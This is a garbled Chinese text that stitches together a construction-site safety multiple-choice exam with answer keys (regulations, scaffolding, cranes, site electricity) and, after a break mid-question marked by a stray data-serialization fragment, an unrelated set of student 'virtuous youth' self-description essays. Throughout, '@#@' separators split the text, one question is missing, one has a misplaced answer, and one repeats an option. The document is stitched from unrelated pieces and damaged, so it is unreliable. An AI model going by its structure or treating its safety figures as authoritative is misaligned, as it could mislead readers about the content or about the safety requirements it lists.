@#@@#@A．主要负责人B．董事长C．分管安全生产的负责人D．总经理@#@10、（C）对建设工程项目的安全施工负责。

@#@@#@A．专职安全管理人员B．工程项目技术负责人C．项目负责人D．施工单位负责人@#@11、《建设工程安全生产管理条例》规定，施工单位的项目负责人应根据工程的特点组织制定安全施工措施，消除安全事故隐患，（A）报告生产安全事故。

@#@@#@A．及时、如实B．调查清楚后C．准时、真实D．及时、全面@#@12、《建设工程安全生产管理条例》规定，（A）负责对安全生产进行现场监督检查。

@#@@#@A．专职安全生产管理人员B．工程项目技术人员C．工程项目施工员D．项目负责人@#@13、专职安全生产管理人员发现安全事故隐患，应当及时向（D）报告。

@#@@#@A．项目技术人员B．项目负责人@#@C．安全生产管理机构D．项目负责人和安全生产管理机构@#@14、分包单位应当服从总承包单位的安全生产管理，分包单位不服从管理导致生产安全事故的，分包单位承担（C）责任。

@#@@#@A．全部B．连带C．主要D．部分@#@15、（B）是组织工程施工的纲领性文件，是保证安全生产的基础。

@#@@#@A．安全技术交底B．施工组织设计C．安全操作规程D．企业规章制度@#@16、《建设工程安全生产管理条例》规定，对于达到一定规模的危险性较大的分部分项工程，施工单位应当编制（C）。

@#@@#@A．单项工程施工组织设计B．安全施工方案C．专项施工方案D．施工组织设计@#@17、按照建设部的有关规定，对达到一定规模的危险性较大的分部分项工程中涉及深基坑、地下暗挖工程、高大模板工程的专项施工方案，施工单位应当组织（A）进行论证、审查。

@#@@#@A．专家B．监理工程师C．施工单位技术人员D．专业监理工程师@#@18、按照建设部的有关规定，开挖深度超过（C）的基坑、槽的土方开挖工程应当编制专项施工方案。

@#@@#@A．3m（含3m）B．5mC．5m（含5m）D．8m@#@19、对水平混凝土构件模板支撑系统高度超过（B），或跨度超过18m的高大模板工程，建筑施工企业应当组织专家组进行论证审查。

@#@@#@A．5mB．8mC．10mD．12m@#@20、施工组织设计以及达到一定规模的危险性较大的分部分项工程的专项施工方案经（D）审批签字后，方可实施。

@#@@#@A．施工单位技术负责人@#@B．工程监理单位总监理工程师@#@C．工程项目技术负责人和工程监理单位监理工程师@#@D．施工单位技术负责人和工程监理单位总监理工程师@#@21、施工单位在编制施工组织设计时，应当根据建筑工程的特点制定相应的（B）。

@#@@#@A．安全防护设施B．安全技术措施C．安全技术制度D．质量技术制度@#@22、建设工程施工前，施工单位（B）应当对有关安全施工的技术要求向施工作业班组、作业人员作出详细说明，并由双方签字确认。

@#@@#@A．专职安全生产管理人员B．负责项目管理的技术人员@#@C．负责项目管理的安全生产管理人员D．项目负责人@#@23、《建设工程安全生产管理条例》规定，施工单位的主要负责人、项目负责人、专职安全生产管理人员应当经（　B　）考核合格后方可任职。

@#@”@#@A．建设部B．建设行政主管部门或者其他有关部门@#@C．安全生产综合管理部门D．劳动和社会保障部门@#@24、根据建设部的有关规定，施工单位（B）的工人，必须接受三级安全培训教育，经考核合格后，方能上岗。

@#@@#@A．转岗B．新入场C．变换工种D．从事特种作业@#@25、三级安全教育是指哪三级？

@#@（B）@#@A．企业法定代表人、项目负责人、班组长B．公司、项目、班组@#@C．总包单位、分包单位、工程项目D．分包单位、工程项目、班组@#@26、垂直运输机械作业人员、安装拆卸工、爆破作业人员、起重信号工、登高架设作业人员等特种作业人员，必须按照国家有关规定经过（A）培训，并取得特种作业操作资格证书后，方可上岗作业。

@#@@#@A．专门的安全作业B．三级教育C．安全教育D．安全技能@#@27、根据《特种作业人员安全技术考核管理规则》（GB5306-85）的规定，取得操作证的特种作业人员，必须定期进行复审，复审每（B）一次。

@#@@#@A．1年B．2年C．3年D．4年@#@28、施工单位在采用新技术、新工艺、新设备、新材料时，应当对（C）进行相应的安全生产教育培训。

@#@@#@A．施工班组长B．项目施工员C．作业人员D．项目负责人@#@29、根据《建筑业企业资质管理规定》（建设部令第87号）和《建筑业企业资质等级标准》的规定，从事施工起重机械安装、拆卸施工的单位，应当具备（B）。

@#@@#@A．特种设备安装改造维修许可证B．起重设备安装工程专业承包资质@#@C．塔式起重机拆装许可证D．起重机械安装许可证@#@30、《特种设备安全监察条例》规定的施工起重机械，在验收前应当经（A）的检验检测机构监督检验合格。

@#@@#@A．有相应资质B．建设行政主管部门@#@C．质量技术监督部门D．安全生产监督管理部门@#@31、《企业职工伤亡事故分类标准》（GB6441-1986）规定，死亡事故是指事故发生后当即死亡（含急性中毒死亡）或负伤后在（D）天内死亡的事故。

@#@@#@A．7B．15C．20D．30@#@32、按照《企业职工伤亡事故调查分析规则》（GB6442－86）的规定，事故的直接原因是指机械、物质或环境的不安全状态和（B）。

@#@@#@A．没有安全操作规程或不健全B．人的不安全行为@#@C．劳动组织不合理D．对现场工作缺乏检查或指导错误@#@33、施工单位应当根据建设工程施工的特点、范围，对施工现场（D）进行监控，制定施工现场生产安全事故应急救援预案。

@#@@#@A．事故隐患B．危险源C．危险部位D．易发生重大事故部位、环节@#@34、下列关于施工场地划分的叙述，不正确的是（C）。

@#@@#@A．施工现场的办公区、生活区应当与作业区分开设置。

@#@@#@B．办公生活区应当设置于在建建筑物坠落半径之外，否则，应当采取相应措施。

@#@@#@C．生活区与作业区之间进行明显的划分隔离，是为了美化场地。

@#@@#@D．功能区的规划设置时还应考虑交通、水电、消防和卫生、环保等因素。

@#@@#@35、施工现场的场地可以采用哪种方式适当硬化？

@#@（B）@#@A．必须做混凝土地面@#@B．有条件的做混凝土地面，无条件的可以采用石屑、焦渣、砂头等方式硬化@#@C、不得采用石屑、焦渣、砂头等方式硬化D．素土即可@#@36、下列关于施工现场的叙述，不正确的是（D）。

@#@@#@A．施工现场应具有良好的排水系统，废水不得直接排入市政污水管网和河流。

@#@@#@B．现场存放的油料、化学溶剂等应设有专门的库房，地面应进行防渗漏处理。

@#@@#@C．为了美化环境和防止扬尘，暖季应适当绿化。

@#@@#@D．地面应保持干燥清洁。

@#@@#@37、下列关于建筑施工现场办公、生活等临时设施的选址的叙述，哪项是不正确的？

@#@（A）。

@#@@#@A．不能满足安全距离要求的，任何情况下都不能设置。

@#@@#@B．应考虑与作业区相隔离，周边环境必须具有安全性，如不得设置在高压线下。

@#@@#@C．不得设置在沟边、崖边、河流边、强风口处、高墙下。

@#@@#@D．不得设置在滑坡、泥石流等灾害地质带上和山洪可能冲击到的区域@#@38、外电线路电压分别为1kV以下、1～10kV、35～110kV、154～220kV、330～500kV时，其最小安全操作距离应当分别为（A）m。

@#@@#@A．4、6、8、10、15B．3、5、7、9、14@#@C．4、6、8、10、12D．6、8、10、12、15@#@39、施工现场应设“十一牌两图”。

@#@“两图”是指：

@#@（A）。

@#@@#@A．施工现场总平面图、建筑工程立面（或效果）图@#@B．施工现场总平面图、建筑工程立体图@#@C．施工现场安全标志平面图、建筑现场临电布置图@#@D．施工现场排水平面图、施工现场安全标志平面图@#@40、根据《安全色》规定，安全色分为红、黄、蓝、绿四种颜色，分别表示（C）。

@#@@#@A．禁止、指令、警告和提示B．指令、禁止、警告和提示@#@C．禁止、警告、指令和提示D．提示、禁止、警告和指令@#@41、下列关于安全标志含义的叙述，不正确的是（D）。

@#@@#@A．禁止标志，含义是不准或制止人们某种行为@#@B．警告标志，含义是警告人们当心、小心、注意@#@C．指令标志，含义是必须遵守@#@D．提示标志，含义是提示人们不能去做@#@42、下列对施工现场主要材料、半成品堆放的叙述，不正确的是（D）。

@#@@#@A．大型工具，应当一头见齐。

@#@@#@B．砂应堆成方，石子应当按不同粒径规格分别堆放成方。

@#@@#@C．混凝土构件堆放场地应坚实、平整，按规格、型号堆放。

@#@@#@D．各种模板应当按规格分类堆放整齐，地面应平整坚实，叠放高度一般不宜超高2.6m，大模板存放应放在经专门设计的存架上。

@#@@#@43、施工现场发生火灾时，应当拨打（B）向公安消防机构报警。

@#@@#@A．110B．119C．120D．114@#@44、夜间施工，是指（B）期间的施工。

@#@@#@A．10时至次日6时B．22时至次日6时@#@C．晚22时至次日5时D．晚9时至次日6时@#@45、人工开挖土方时，两人的操作间距应保持（C）。

@#@@#@A．1mB．1～2mC．2～3mD．3.5～4m@#@46、在临边堆放弃土，材料和移动施工机械应与坑边保持一定距离，当土质良好时，要距坑边（B）远。

@#@@#@A．0.5m以外，高度不超0.5mB．1m以外，高度不超1.5m@#@C．1m以外，高度不超1mD．1.5m以外，高度不超2m@#@47、吊运大块或整体模板时，竖向吊运不少于（B）吊点。

@#@@#@A．1个B．2个C．4个D．6个@#@48、水平吊运整体模板不少于（C）吊点。

@#@@#@A．1个B．2个C．4个D．6个@#@49、采用扣件式钢管脚手架作模板立柱支撑时，立柱必须设置纵横向扫地杆，纵上横下，使直角扣件与立杆扣牢须在离地（A）。

@#@@#@A．200mm处B．250mm处C．300mm处D．350mm处@#@50、基坑（槽）上口堆放模板为（B）以外。

@#@@#@A．2mB．1mC．2.5mD．0.8m@#@51、钢丝绳在卷筒上缠绕时，应（A）。

@#@@#@A．逐圈紧密地排列整齐，不应错叠或离缝B．逐圈排列，不可以错叠但可离缝@#@C．逐圈紧密地排列整齐，但可错叠或离缝D．随意排列，但不能错叠@#@52、在起重作业中广泛用于吊索、构件或吊环之间的连接的栓连工具是（B）。

@#@@#@A．链条B．卡环C．绳夹D．钢丝绳@#@53、建筑拆除工程的施工方法有人工拆除、机械拆除、（D）三种。

@#@@#@A．人力拆除B．工具拆除C．爆炸拆除D．爆破拆除@#@54、拆除工程的建设单位与施工单位在签订施工合同时，应签订（B）协议，明确双方的安全管理责任。

@#@@#@A．质量B．安全生产管理C．资金拨付D．施工进度@#@55、拆除施工严禁（C）作业。

@#@水平作业时，各工位间应有一定的安全距离。

@#@@#@A．高处B．混合C．立体交叉D．多工种@#@56、拆除作业人员必须配备相应的（D）用品，并正确使用。

@#@@#@A．防毒B．安全C．防护D．个人劳动保护@#@57、挖掘机作业时（A）不得在铲斗回转半径范围内停留。

@#@@#@A．任何人B．非工作人员C．工程技术人员D．围观群众@#@58、振动器操作人员应掌握一般安全用电知识，作业时应穿绝缘鞋、戴（A）。

@#@@#@A．绝缘手套B．帆布手套C．防护目镜D．线手套@#@59、钢筋弯曲机弯钢筋时，严禁在弯曲钢筋的作业半径内和机身不设（C）的一侧站人。

@#@@#@A．防护装置B．漏电保护器C．固定销D．活动销@#@60、冷拉钢筋运行方向的端头应（C），防止在钢筋拉断或夹具失灵时钢筋弹出伤人。

@#@@#@A．固定B．夹牢C．设防护装置D．远离作业人员@#@61、钢筋切断机切短料时，手和切刀之间的距离应保持在150mm以上，如手握端小于（C）时，应采用套管或夹具。

@#@@#@A．150mmB．200mmC．400mmD．500mm@#@62、木工机械应安装（）开关。

@#@@#@A．按扭B．倒顺C．闸刀D．负荷正确答案：

@#@A@#@63、蛙夯属于手持移动式电动工具，应在电源首端装设漏电动作电流不大于（B）mA、动作时间不大于0.1s的漏电保护器。

@#@@#@A．20B．30C．40D．50@#@64、圆盘锯在木料接近尾端时，操作者应（B）。

@#@@#@A．上手推料B．下手拉料C．上下手同时进行D．上下手不动@#@65、下列对起重力矩限制器主要作用的叙述哪个是正确的？

@#@（B）@#@A．限制塔机回转半径B．防止塔机超载C．限制塔机起升速度D．防止塔机出轨@#@66、（A）能够防止塔机超载、避免由于严重超载而引起塔机的倾覆或折臂等恶性事故。

@#@@#@A．力矩限制器B．吊钩保险C．行程限制器D．幅度限制器@#@67、下列哪个安全装置是防止运行小车超过最大或最小幅度的极限位置的安全装置？

@#@（D）@#@A．起重量限制器B．起重量限制器C．行程限制器D．幅度限制器@#@68、（D）能够防止钢丝绳在传动过程中脱离滑轮槽而造成钢丝绳卡死和损伤。

@#@@#@A．力矩限制器B．超高限制器C．吊钩保险D．钢丝绳防脱槽装置@#@69、（C）是防止起吊钢丝绳由于角度过大或挂钩不妥时，造成起吊钢丝绳脱钩的安全装置。

@#@@#@A．力矩限制器B．超高限制器C．吊钩保险D．钢丝绳防脱槽装置@#@70、风力在（A）级以上时，不得进行塔机顶升作业。

@#@@#@A．4B．5C．6D．7@#@71、附着框架应尽可能设置在（C）@#@A．塔身2个标准节之间B．起重臂与塔身的连接处@#@C．塔身标准节的节点连接处D．平衡臂与塔身的连接处@#@72、施工升降机操作按钮中，（D）必须采用非自动复位型？

@#@@#@A．上升按钮B．下降按钮C．停止按钮D．急停按钮@#@73、安全技术交底应（A）@#@A、全面、针对性B、编写一份存档即可C、可不填写时间@#@74、超过（B）高的塔机，必须在起重机的最高部位（臂架、塔帽或人字架顶端）安装红色障碍指示灯，并保证供电不受停机影响。

@#@@#@A．20mB．30mC．40mD．50m@#@75、起升钢丝绳在放出最大工作长度后，卷筒上的钢丝绳至少保留几圈？

@#@（C）@#@A．1圈B．2圈C．3圈D．5圈@#@76、多塔作业时，处于高位的塔机（吊钩升至最高点）与低位塔机的垂直距离在任何情况下不得小于（B）m。

@#@@#@A．1B．1.5C．2D．3@#@78、在脚手架主节点处必须设置一根（D），用直角扣件扣紧，且严禁拆除。

@#@@#@A．纵向水平杆B．连墙件C．竖向水平杆D．横向水平杆@#@79、当脚手板采用竹笆板时，纵向水平杆的间距应满足要求（A）。

@#@@#@A．等间距设置，间距不大于400mmB．等间距设置，间距不大于300mm@#@C．等间距设置，间距不大于500mmD．间距不大于400mm@#@80、连墙件设置应靠近主节点，偏离主节点的距离不应大于（A）。

@#@@#@A．300mmB．350mmC．400mmD．450mm@#@81、剪刀撑的设置宽度（A）。

@#@@#@A．不应小于4跨，且不应小于6mB．不应小于3跨，且不应小于4.5m@#@C．不应小于3跨，且不应小于5mD．不应大于4跨，且不应大于6m@#@82、关于立杆底座下的垫板长度和厚度尺寸的规定，哪个是正确的？

@#@（B）@#@A．垫板长度不小于3跨，厚度不小于50mm@#@B．垫板长度不小于2跨，厚度不小于50mm@#@C．垫板长度不小于2跨，厚度不小于30mm@#@D．垫板长度不小于3跨，厚度不小于30mm@#@83、搭设脚手架立杆时，应遵守下列哪个规定？

@#@（A）@#@A．每隔6跨设置一根抛撑，直至连墙件安装稳定后，方可拆除@#@B．搭设立杆时，不必设置抛撑，可以一直搭到顶@#@C．立杆搭接长度不应小于0.5m@#@D．相邻立杆的对接扣件都可在同一个水平面内@#@84、纵向水平杆（大横杆）的对接扣件应交错布置，两根相邻杆的接头，在不同步或不同跨的水平方向错开的距离应（C）。

@#@@#@A．不小于300mmB．不小于400mmC．不小于500mmD．不大于500mm@#@85、当脚手架采取分段，分立面拆除时，对不拆除的脚手架（A）。

@#@@#@A．应在两端按规定设置连墙件和横向斜撑加固B．可采取安全防护措施@#@C．应按规定设置剪刀撑D．应设置卸荷措施@#@86、塔吊安装方案应由（D）单位编写。

@#@@#@A、施工单位B、产权单位C、租赁单位D、有资质安装单位@#@87、.脚手架的人行斜道和运料斜道应设防滑条，其间距为：

@#@（A）@#@A．250~300mmB．350~400mmC．400~450mmD．450~500mm@#@88、遇有（B）以上强风、浓雾等恶劣气候，不得进行露天攀登与悬空高处作业。

@#@@#@A．5级B．6级C．7级D．8级@#@89、建筑工程外脚手架外侧采用的全封闭立网，其网目密度不应低于（D）。

@#@@#@A．800目/100cm2B．1000目/100cm2C．1500目/100cm2D．2000目/100cm2@#@90、高度超过（C）的层次上的交叉作业，凡人员进出的通道口应设双层安全防护棚。

@#@@#@A．18mB．20mC．24mD．28m@#@91、悬挑式钢平台的搁支点与上部拉结点，必须位于（B）上。

@#@@#@A．脚手架B．建筑物C．钢模板支撑D．桩式地锚@#@92、支模、粉刷、砌墙等各工种进行上下立体交叉作业时，不得在（A）方向上操作。

@#@@#@A．同一垂直B．同一横面C．垂直半径外D．不同垂直@#@93、装设轮子的移动式操作平台，轮子与平台的接合处应牢固可靠，立柱底端与地面的距离不得超过多少？

@#@（C）@#@A．50mmB．60mmC．80mmD．100mm@#@94、雨天和雪天进行高处作业时，必须采取可靠的防滑、防寒和（D）措施。

@#@@#@A．防霜B．防水C．防雾D．防冻@#@95、坡度大于1：

@#@2、2的屋面，防护栏杆应设置多高？

@#@（D）@#@A．1mB．1.2mC．1.3mD．1.5m@#@96、防护栏杆必须自上而下用安全立网封闭，或在栏杆下边设置严密固定的高度不低于（C）的挡脚板或40cm的挡脚笆。

@#@@#@A．14cmB．16cmC．18cmD．20cm@#@97、电梯井口必须设定型化防护门；@#@电梯井内应每隔两层并最多隔（C）设一道安全网。

@#@@#@A．8mB．9mC．10mD．12m@#@98、楼板、屋面和平台等面上短边尺寸小于（B）但大于2.5cm的孔口必须用坚实的盖板盖设。

@#@@#@A．20cmB．25cmC．30cmD．35cm@#@99、边长超过（B）的洞口，四周设防护栏杆，洞口下张设安全平网。

@#@@#@A．130cmB．150cmC．180cmD．200cm@#@100、脚手架搭设方案应由（C）编写，@#@A、架子工B、安全员C、现场技术负责人@#@101、安装管道时必须有已完结构或（D）为立足点，严禁在安装中的管道上站立和行走。

@#@@#@A．脚手架B．模板C．折梯D．操作平台@#@102、各种垂直运输接料平台，除两侧设防护栏杆外，平台口还应设置（B）或活动防护栏杆。

@#@@#@A．安全围栏B．安全门C．安全立网D．竹笆@#@103、上下梯子时，必须（D）梯子，且不得手持器物。

@#@@#@A．背面B．左侧向C．右侧向D．面向@#@104、施工现场专用的，电源中性点直接接地的220/380V三相四线制用电工程中，必须采用的接地保护型式是（B）。

@#@@#@A．TNB．TN-SC．TN-CD．TT@#@105、施工现场用电工程中，PE线上每处重复接地的接地电阻值不应大于（B）。

@#@@#@A．4ΩB．10ΩC．15ΩD．30Ω@#@106、施工现场用电系统中，N线的绝缘色应是（C）。

@#@@#@A．黑色B．白色C．淡兰色D．棕色@#@107、在建工程（含脚手架）周边与10kV外电架空线路边线之间的最小安全操作距离应是（B）。

@#@@#@A．4mB．6mC．8mD．10m@#@108、施工现场用电工程中，PE线的重复接地点不应少于（C）。

@#@@#@A．一处B．二处C．三处D．四处@#@109、移动式配电箱、开关箱中心点与地面的相对高度可为（C）。

@#@@#@A．0.3mB．0.6mC．0.9mD．1.8m@#@110、间接接触触电的主要保护措施是在配电装置中设置（B）。

@#@@#@A．隔离开关B．漏电保护器C．断路器D．熔断器@#@111、开关箱与用电设备的水平距离不宜超过（A）。

@#@@#@A．3mB．4mC．5mD．6m@#@112、固定式配电箱开关箱中心点与地面的相对高度应为（C）。

@#@@#@A．0.5mB．1.0mC．1.5mD．1.8m@#@113、一般场所开关箱中漏电保护器，其额定漏电动作电流为（C）。

@#@@#@A．10mAB．20mAC．30mAD．40mA@#@114、潮湿场所开关箱中的漏电保护器，其额定漏电动作电流为（A）。

@#@@#@A．15mAB．20mAC．30mAD．40mA@#@115、电焊机一次侧电源线的长度不应大于（B）。

@#@@#@A．3mB．5mC．10mD．15m@#@116、电焊机二次线可采用（A）。

@#@@#@A．防水橡皮护套铜芯软电缆B．绝缘铜线@#@C．绝缘铝线D．绝缘导线和结构钢筋（作为地线）@#@117、施工现场内所有防雷装置的冲击接地电阻值为不得大于（D）。

@#@@#@A．1ΩB．4ΩC．10ΩD．30Ω@#@118、室内固定式灯具的安装高度应为（A）。

@#@@#@A．≥2.5mB．>@#@2mC．2mD．1.8m@#@119、在潮湿场所施工，照明电源电压不应大于（B）。

@#@@#@A．36VB．24VC．12VD．6V@#@120、施焊完成或下班时必须拉闸断电，要留有充分时间观察，确认（C）后，方可离去。

@#@@#@A．周围无易爆物B．周围无易燃物C．已熄灭D．无复燃的危险@#@121、电焊时严禁借用金属管道、金属脚手架、结构钢筋等金属物搭接代替（A）使用。

@#@@#@A．导线B．相线C．零线D．地线@#@122、焊机二次侧电源线长度最大不得超过（B）m。

@#@@#@A．20B．30C．40D．50@#@123、在焊接作业时，氧气瓶与乙炔瓶的距离不得小于（C）m。

@#@@#@A．1B．3C．5D．10@#@124、易燃物品露天仓库四周内应";i:

28;s:

23983:

"美德少年事迹材料七篇@#@美德少年事迹材料七篇@#@【篇一】@#@我是一名学生，就读于**友谊中学，从踏进中学的第一天，我便积极向上，勤奋学习，友好待人，团结互助，文明有礼，在同学们眼中，我是乐于助人的语文科代表兼好友，在老师们眼中，我是学习认真的一名好学生，也是同学们的好帮手。

@#@我为人正直、善良，兴趣广泛，积极参加学校组织的活动，曾获得“三好学生”等荣誉称号。

@#@@#@我国素有“礼仪之邦”之称，五千年的历史可以说是一部礼仪的历史。

@#@我认为“讲文明懂礼仪”应体现于生活的每一个方面，特别是在学校，作为一名学生，应该时刻以《中学生日常行为规范》为准则，严格要求自己。

@#@我从小就谨记父母“赠人玫瑰，手有余香”的良训，我不仅做到了勤奋学习、助人为乐、热爱劳动，还做到了尊敬师长、团结同学、文明礼貌、积极向上。

@#@@#@礼貌待人，言语谦和体现出一个学生的品质。

@#@无论在校内还是在校外，我遇到老师都会面带微笑，主动向老师问好;@#@我看到正在怒火中烧的同学，我会耐心让他们和解;@#@看到需要帮助的同学，我会热心的帮助他们。

@#@在家里，我会经常给长辈们揉肩捶背，主动承担一些力所能及的家务劳动。

@#@@#@行为文明、举止得体体现一名中学生的素质，我从来不对同学指手画脚，在同学背后做小动作，在老师上课时对老师做鬼脸，我觉得这是一种特别不文明、不得体的行为，我和同学说话时，我会轻声细语，不会大呼小叫;@#@同学和我讨论问题时，我会语气温和，耐心地和同学们商讨。

@#@因此在同学眼中我是一个文明友善的人。

@#@@#@我遵守《中学生日常行为规范》，我每天穿戴整洁，不留长指甲，不披头散发。

@#@在学校，我会按时到校，不迟到，不早退，上课前准备好学习用品，上下课时，起立向老师致敬。

@#@下课时，请老师先行，在公共场所，我会轻声细语，不大声喧哗，尽可能履行一名中学生的义务。

@#@@#@养成良好的生活习惯是一名中学生应有的教养。

@#@我在公共道德方面做到：

@#@不在公共场所乱扔杂物、随地吐痰、损坏花草树木、吵架斗殴等，不在影剧院、图书馆、会场等公共场所大声喧哗、嬉闹，爱护公共设施等。

@#@我经常在公交车上为老、弱、病、残、孕及怀抱婴儿者让座。

@#@@#@做一个文明有礼的人，做一个无愧于心的国家栋梁，是我永远努力的方向。

@#@@#@【篇二】@#@自强自立，这个词对于我来说也许我不是做得最好的，但是我会努力，努力为自强自立这个词添上一抹亮丽的色彩。

@#@@#@我的家境并不富裕，甚至可以用欠了一些债来形容。

@#@母亲无职业，只能跟随拉货的父亲整日忙碌奔波，一个星期有时在家呆一天。

@#@而奶奶又有冠心病和高血压，每天都要吃药，一个月的开销也不少。

@#@爷爷又因为常年吸烟患上了肺气肿，所以我们一家平时都是省吃俭用，节省开销。

@#@@#@我知道，学习是改变当前困境的最好办法，所以我每次放学都要很快的赶回家，帮助奶奶煮饭做菜，在吃完饭后，奶奶就要出去活动锻炼身体。

@#@于是我就会乘着这个空闲时间把在学校老师布置的作业认真完成。

@#@之后我就会到自己的卧室里背书，通常背一个多小时，甚至有一次家里停电了我也照着手电筒把当天该背的书给背了。

@#@待奶奶回来之后，我又要给奶奶擦缓解她背疼的药酒，给她烧吃药的水。

@#@然后在睡觉前我就要回顾一遍当天所学的知识，梳理一道，让自己记忆深刻。

@#@@#@当父母回来的时候，我就要更加忙碌了。

@#@不仅要给他们烧洗澡的水，还要协助母亲做一些菜来犒劳多日忙碌的父母。

@#@父母只有小学文化，用不来智能机，我也要给母亲下载一些电视剧让她打发一些在车上无聊的时间。

@#@因为快到生物地理的中考了，我必须更加努力去复习，不放过任何一点复习的时间，我也想考得更好，让整日长途劳顿奔波的父母分享我成功的快乐。

@#@@#@有一件事我记忆犹新，那就是在2015年1月31日，对于我们家来说是一个黑暗的日子。

@#@贵州冬天天气寒冷，滴水成冰，地上也结了一层薄冰，金沙县接连发生了多场车祸，我家也是不幸之一，全家赖以为生的大货车翻车了。

@#@不幸中的万幸是父母安然无恙，从此之后，我家背上了沉重的债务，总共欠下了二十几万。

@#@这件事之后，我们家很少有欢声笑语了，取而代之的是一片愁云。

@#@我也知道，我必须更加努力了，否则我们家将要一贫如洗，只能勒紧裤子过日子了。

@#@看着父母不辞辛劳的来回奔波的样子，我学习也更努力了。

@#@在这次的期中考试中，我考到了班上的第二名。

@#@或许我没有过人的天赋，高于常人的智商，但我相信我的努力终会有结果，我会不断的进步，打造属于自己的神话：

@#@用自己的双手与头脑为家庭撑起一把守护伞，庇护我亲爱的家人。

@#@@#@没有风吹雨打，哪会有秋实的成熟;@#@没有刺骨的寒风，哪会有松柏的坚韧。

@#@我会努力，在逆境中自强自立，顽强拼搏，用信念成就自己。

@#@我相信我一定会做好的!

@#@@#@【篇三】@#@我身为班上的学习委员，处处严格要求自己，追求完美，力争成为班上同学学习的榜样。

@#@@#@刚进初中时，班主任给我们介绍了一些科学的学习方法，如高效学习法：

@#@课前探究式预习—课中参与式听课-课后反复式复习-独立高效完成作业。

@#@我按这一套路认真学习，学习得心应手倍感轻松，学习成绩也一直比较好，因此使我有更多的时间和精力来帮助同学和参与其他活动。

@#@@#@在学校里，我乐于帮助同学。

@#@老师经常安排一些成绩暂时较差或偏科而追求进步的同学和我坐，让他们到我这儿来“取经”，叫我帮帮他们，我都非常爽快地答应，我毫无保留地同他们谈我的学习心得，并督促他们养成良好的学习习惯，特别是听课习惯，为此，还“得罪”过几个同学，不过后来他们尝到了甜头，都非常感谢我。

@#@同学不懂得问题向我请教，我总是耐心细致地给他们讲解，直到他们弄懂为止。

@#@我从不认为给他们讲题很麻烦和浪费时间，因为在这过程中，我自己也收获多多。

@#@要想别人听懂，你首先自己得先弄懂吧，得想想先讲什么后讲什么吧，怎样更容易让对方听明白吧，所以给他人讲题使自己知识更有条理，思路更清晰，表达更流畅，让我体会到“教学相长”的滋味，我也学到了许多，所以我由衷的感到高兴。

@#@@#@我身为学习委员，乐意为班级服务，当好同学们的勤务兵和老师的助手。

@#@比如，每次考试下来，我主动帮助同学们分析学习情况，名次升降的原因等等。

@#@我每天的日常工作就是记好班务日志和给同学们发校讯通的家庭作业，我工作一丝不苟，近两年了，从未出过差错，从未让老师操过心，深得老师的信任。

@#@当然，在为班级服务的过程中我学会了担当，培养了自己的责任意识。

@#@@#@我还常为身处困境中人伸出援手。

@#@居住在我楼下的满头银发的七十多岁的老奶奶，儿媳都在外地打工，是位“空巢老人”，腿脚不便，常拄一只拐杖，上楼下楼十分吃力，我常常扶她上楼下楼，陪她和奶奶一同买菜或散步。

@#@她人前人后都夸我的好，说我将来有出息等，我心里美滋滋的。

@#@在大街上遇到身体有残疾的人乞讨，我也总是很同情他们的身世，不由自主地掏出节省下来的零花钱捐给他们，几元几十元不等。

@#@有人笑我太傻，说那是骗人的，我不以为意，我有我自己的判断和价值观。

@#@每每捐过以后，我整天乐滋滋的，我真的体会到了“为善最乐”的境界。

@#@@#@我知道，这些都很微不足道或不足挂齿，然而当我“大事”做不来的时候，我力争把“小事”做好，寄希望积小善以成大德。

@#@@#@【篇四】@#@我叫任方洁，是铜冶镇一中初三7班的一名学生，也是7班的班长。

@#@“为集体尽职，为伙伴服务”是我的工作宗旨。

@#@我出生在农村家里，接受长辈善良淳厚，乐于奉献的熏陶，得到了心灵的洗礼，养成了良好的品质。

@#@我没有特别的人生际遇，没有轰轰烈烈的事迹。

@#@但我天性至真至纯，追求尽善尽美，以自己的一言一行，真实，集中的展现新时代初中生应该具有的美德，在学校我一直非常要求上进，积极参加各项活动并取得了佳绩，成绩和能力突出，是个品学兼优的学生。

@#@我不但学习成绩好，而且学校的各项活动我都积极参加。

@#@在学校和老师的关怀帮助下，在父母的疼爱和自身的努力下，时刻以高标准严格要求自己，激励自己，不懈努力。

@#@@#@一、勤奋好学，刻苦进取@#@在学校，我对待学习一丝不苟、脚踏实地。

@#@每一次的作业都按老师的要求认认真真地完成;@#@课堂上总能听到我独特的见解，是大家公认的“领头雁”。

@#@作为一名中学生，我具有不屈不挠的顽强意志和不服输精神。

@#@在知识的海洋里,我是一个快乐的畅游者,不断的学习和总结,培养了良好的学习习惯和自学能力。

@#@我尊敬师长、团结同学,从老师的辛勤耕耘中,一点一滴积累着收获;@#@从老师的谆谆教诲中,不断塑造日益丰满的自我;@#@与同学们在互学互比中取长补短、一起进取;@#@与同学们在交流探求中学习借鉴、共同提高。

@#@我专心学习，勤学善思，不懂就问，常主动与老师同学交流，从中获益非浅。

@#@我坚持用知识充实自己，喜欢广泛地阅读书籍，培养了一种乐观积极的生活态度和坚强的意志，这对于我解决学习上的难题有很大帮助，成绩不断提高。

@#@@#@二、懂得感恩，深受爱戴@#@我不管是在学习还是在生活中都深受老师和同学的好评。

@#@@#@我尊敬师长，发自内心的尊重与敬爱，校园内总能听到我亲切的“老师，您好!

@#@”我说是老师给予了我知识，帮助我成长;@#@是家长的殷切希望让我快乐成长，没有老师和家长的辛勤付出，就没有我所取得的众多成绩，因此回报老师和家长是我奋动力。

@#@我关心同学，从来都是尽心帮助身边的每一个人，学习上帮助同学解答难题，我以一颗真诚的心，得到了大家的认可，无论何时都深受同学的拥护。

@#@@#@三、工作积极，富有热情@#@从进初中起，***同学就担任了学习委员，在班级事务上是老师的得力助手，不仅积极完成老师交给的工作，而且能主动帮助老师管理班级，在工作中，讲求方法，不仅带动了全体同学，而且得到老师的信任，同学的喜爱。

@#@进入高中后，同学们又一致推选我为班级的班长。

@#@@#@作为一班之长，我处处起模范带头作用，工作踏实，认真负责，严于律己，是老师的好帮手。

@#@我还常常帮助同学解答疑难，解决困难，是同学们的好伙伴。

@#@我从不与人斤斤计较，总是以一颗宽容的心对待别人;@#@无论谁有困难，我都会伸出援助之手。

@#@@#@四、全面发展，素质优良@#@***同学在保证学习成绩优秀的情况下，还积极参加多种比赛，全面发展，初中时多次参加学校组织的各类比赛，给评委老师们留下了深刻印象。

@#@还曾打破校女子跳高记录。

@#@@#@在我自己不断的努力下，我已取得了让人满意的成绩，为我今后的学习，构筑了一个更高的腾飞平台。

@#@@#@总之，***同学开朗自信、乐于助人、成绩优异、严格以高标准要求自己，激励自己，不懈努力。

